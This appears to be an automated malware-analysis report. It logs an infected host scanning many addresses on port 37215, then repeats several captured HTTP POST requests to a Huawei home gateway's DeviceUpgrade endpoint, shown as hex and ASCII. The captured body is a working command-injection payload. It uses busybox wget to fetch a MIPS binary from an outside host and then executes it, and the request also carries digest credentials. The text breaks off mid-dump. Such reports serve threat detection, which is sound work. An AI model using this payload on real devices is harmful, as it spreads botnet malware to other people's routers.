Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.179.222.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.20.166.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.185.224.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.106.7.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.112.161.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.249.186.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.42.169.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.246.54.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.136.29.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.9.121.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.31.248.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.164.99.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.95.130.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.226.118.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.106.53.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.206.238.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.48.80.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.251.90.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.114.107.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.110.161.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.26.94.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.218.109.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.180.179.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.120.74.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.155.6.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.107.16.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.79.191.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.50.187.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.127.170.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.221.182.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.188.25.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.46.98.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.124.18.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.121.59.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.26.119.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.130.39.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.105.183.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.71.240.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.205.95.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.233.252.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.83.131.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.90.225.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.87.1.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.157.158.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.130.211.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.222.99.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.22.92.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.143.94.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.98.33.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.63.248.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.67.91.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.127.132.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.165.53.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.134.52.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.240.146.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.238.113.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.203.102.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.202.206.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.124.163.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.88.20.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.236.178.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.126.221.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.43.187.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.43.16.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.133.184.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.61.36.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.7.186.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.176.51.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.92.57.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.70.112.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.12.160.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.12.157.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.219.27.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.56.13.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.209.66.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.241.121.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.251.174.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.172.190.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.163.39.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.177.174.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.186.105.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.148.90.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.111.60.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.165.138.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.121.185.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.149.218.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.126.51.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.217.139.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.162.216.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.212.51.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.15.111.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.106.126.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.147.82.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.111.152.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.54.214.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.152.79.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.27.151.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.71.14.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.109.146.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.171.155.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.228.247.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.185.105.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.177.26.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.116.167.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.156.207.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.3.166.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.111.157.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.136.59.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.142.137.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.104.50.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.217.116.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.44.225.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.10.146.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.149.153.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.43.218.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.185.255.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.164.79.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.4.138.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.113.15.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.48.80.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.41.81.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.51.57.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.119.99.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.143.169.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.174.171.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.46.223.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.253.188.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.170.128.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.53.229.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.116.130.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.87.198.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.171.68.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.39.143.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.221.112.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.98.160.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.167.113.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.103.77.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.183.28.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.182.5.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.165.40.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.158.142.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.75.99.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.117.3.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.175.164.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.184.187.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.125.104.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.247.236.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.203.131.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.12.159.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.97.79.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.23.6.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.19.239.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.44.134.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.210.120.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.116.20.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.155.173.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.38.96.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.253.216.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.191.203.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.233.93.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.88.30.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.228.95.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.241.10.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.234.91.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.84.31.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.34.218.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.83.89.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.201.37.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.7.100.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.29.115.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.124.237.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.208.160.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.78.72.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.137.154.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.7.223.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.214.246.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.229.116.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.62.72.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.162.255.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.6.181.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.125.64.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.141.92.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.52.195.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.209.218.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.83.226.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.113.193.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.218.161.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.135.0.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.117.161.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.3.173.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.103.81.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.105.215.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.240.180.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.199.64.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.248.119.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.96.77.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.220.3.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.45.161.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.237.150.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.212.80.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.87.120.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.13.148.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.31.106.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.101.46.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.43.50.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.118.100.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.121.241.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.174.239.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.114.241.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.142.51.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.76.17.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.123.53.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.178.138.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.107.226.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.86.166.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.93.105.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.50.176.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.84.3.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.31.2.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 197.4.239.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 156.11.171.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.134.175.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:34043 -> 41.121.192.239:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 